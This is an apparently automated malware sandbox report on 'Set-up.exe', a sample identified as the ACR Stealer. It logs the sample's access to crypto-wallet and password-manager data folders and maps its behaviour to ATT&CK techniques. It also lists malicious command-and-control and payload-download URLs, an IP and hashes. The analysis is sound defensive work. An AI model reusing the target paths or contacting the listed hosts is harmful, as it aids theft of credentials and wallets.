Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Daedalus Mainnet\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Daedalus Mainnet\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Daedalus Mainnet\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Daedalus Mainnet\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Daedalus Mainnet\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Ledger Live	Jump to behavior

Tries to steal from password manager

Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Local\1Password\data	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Local\1Password\data	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\1Password\data	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Bitwarden	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Bitwarden	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Bitwarden	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\NordPass	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\NordPass	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Local\1Password\data	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Bitwarden	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Bitwarden	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\NordPass	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\NordPass	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\NordPass	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Local\1Password\data	Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\Default\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\Default\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\Default\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\Default\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\Default\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\Default\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\Public\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\Public\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\Public\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\Public\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\Public\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Directory queried: C:\Users\Public\Documents	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Set-up.exe PID: 7572, type: MEMORYSTR

Remote Access Functionality

Yara detected ACR Stealer

Source: Yara match

File source: Process Memory Space: Set-up.exe PID: 7572, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	311 Process Injection	311 Process Injection	3 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Abuse Elevation Control Mechanism	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	51 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 DLL Side-Loading	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	12 System Information Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Link
Set-up.exe	4%	Virustotal	Browse
Set-up.exe	0%	ReversingLabs
SAMPLE	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://mcrsftuptade.pro/Up	100%	Avira URL Cloud	malware
http://www.netcrunch.tools/wmitool/	0%	Avira URL Cloud	safe
http://mcrsftuptade.pro/Up/g	100%	Avira URL Cloud	malware
http://mcrsftuptade.pro/ujs/f1575b64-8492-4e8b-b102-4d26e8c70371	100%	Avira URL Cloud	malware
http://h1.coldwalk.top/sh.ext.exe.bin	0%	Avira URL Cloud	safe
http://h1.coldwalk.top/amshm.bin	0%	Avira URL Cloud	safe
http://mcrsftuptade.pro/Up/p	100%	Avira URL Cloud	malware
http://mcrsftuptade.pro/Up/b	100%	Avira URL Cloud	malware
http://www.mygale.org/~cresto/	0%	Avira URL Cloud	safe
http://www.adremsoft.com/autoupdate/wmi.tools.json	0%	Avira URL Cloud	safe
http://www.adremsoft.com/autoupdate/wmi.tools.jsonSVWU	0%	Avira URL Cloud	safe
http://h1.coldwalk.top/shark.bin	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://mcrsftuptade.pro/ujs/f1575b64-8492-4e8b-b102-4d26e8c70371	true	Avira URL Cloud: malware	unknown
http://mcrsftuptade.pro/Up/g	true	Avira URL Cloud: malware	unknown
http://mcrsftuptade.pro/Up	true	Avira URL Cloud: malware	unknown
http://mcrsftuptade.pro/Up/p	true	Avira URL Cloud: malware	unknown
http://mcrsftuptade.pro/Up/b	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://h1.coldwalk.top/amshm.bin	Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://h1.coldwalk.top/sh.ext.exe.bin	Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	Set-up.exe	false		high
http://www.netcrunch.tools/wmitool/	Set-up.exe, 00000000.00000000.1241274498.0000000001A31000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org?q=	chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.12.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.indyproject.org/	Set-up.exe	false		high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/v20	Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.adremsoft.com/autoupdate/wmi.tools.json	Set-up.exe	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtabv20	Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Set-up.exe, 00000000.00000003.1513427342.00000000101B8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1505147370.00000000102A8000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1513181542.0000000010278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Set-up.exe, 00000000.00000003.1420210045.0000000010385000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1553562675.000000001016D000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1440653499.00000000102F5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.mygale.org/~cresto/	Set-up.exe, 00000000.00000000.1241274498.0000000001A31000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.adremsoft.com/autoupdate/wmi.tools.jsonSVWU	Set-up.exe	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	chrome.exe, 00000014.00000002.1502764149.000001AD16C2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://h1.coldwalk.top/shark.bin	Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	unknown	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1686586
Start date and time:	2025-05-10 08:04:17 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Set-up.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@15/25@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 39 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.29.183.29
Excluded domains from analysis (whitelisted): a-ring-fallback.msedge.net, fs.microsoft.com, slscr.update.microsoft.com, www.microsoft.com, casoneroutegold-prod-bggfgca0dkaag8a8.b01.azurefd.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	Set-up_patched.exe	Get hash	malicious	ACR Stealer	Browse	mcrsftuptade.pro/Up/g
	Set-up_patched.exe	Get hash	malicious	ACR Stealer	Browse	mcrsftuptade.pro/Up/g
	http://188.114.96.3	Get hash	malicious	Unknown	Browse	188.114.96.3/favicon.ico
	g1V10ssekg.exe	Get hash	malicious	FormBook	Browse	www.comebackhome.online/dv29/?UPV=lyDuWv8anyDzCsrsL6PTwCreB/WdAINc3G6wsV0rNYv9zNmSH7KTJBB1K2WfFvHvPOh/z5cHktk3l1356pnt1M3PZl4mowifUTZkIWOf1ffB0d/Fsg==&YrV=FlsDgRMx
	http://facebooksupports.tempisite.com/ils972/	Get hash	malicious	Unknown	Browse	facebooksupports.tempisite.com/favicon.ico
	AGODA COMPANY PTE LTD.exe	Get hash	malicious	FormBook	Browse	www.baurishu.info/6oy6/
	file.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.actpisalnplay.cyou/3vjo/
	RFQPO-AA132426.exe	Get hash	malicious	FormBook	Browse	www.actpisalnplay.cyou/3vjo/
	Swift copy.exe	Get hash	malicious	FormBook	Browse	www.desktitle.homes/izqs/
	http://www.brillflooring.com	Get hash	malicious	Unknown	Browse	www.brillflooring.com/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	OYNXZnHEXq.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
	Eab2SbtQbr.exe	Get hash	malicious	FormBook	Browse	104.21.48.1
	A2RVVD9AhJ.exe	Get hash	malicious	FormBook	Browse	104.21.112.1
	GS4TX46Pz7.exe	Get hash	malicious	FormBook	Browse	104.21.48.1
	cdsuXkNCvF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	nTTTS39M11.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	FjPUv889pO.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	8MF8j3kB7J.exe	Get hash	malicious	FormBook	Browse	104.21.91.219
	LiVjGnY5Hx.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	88ukoO6Zln.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_chrome.exe_6529d8499c11cd4f9e25b8c1dc6756637128dac_19d51899_4bbfac33-b74e-4b75-8964-52e4937cc66a\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.702028043803121
Encrypted:	false
SSDEEP:	96:d8+u6iJsrEoZGNfCQXIDcQic6ycEJcw3++HbHu2A2Z+ZwfZAX/d5FMT2SlPkpXmI:a+uJJb0c2TTj2zuiFWZ24lO89
MD5:	85B842F36425F0E179AF6F00B06087E2
SHA1:	E72612E63925A556FFC03CA2B9F456B9DA867B7D
SHA-256:	1C5C5A7B6AD24A6AD97C43A70FDF6B8F21007AD602144F8E175B1526FE9718CA
SHA-512:	DD050DE37584A145A356D68D6D2725CFA7962546C70214CDC686E73E125D07E8A684B8D926C0751F5EA999D481C74721E38376EC725CBD94045DCD87B9EBDB6D
Malicious:	false
Reputation:	low
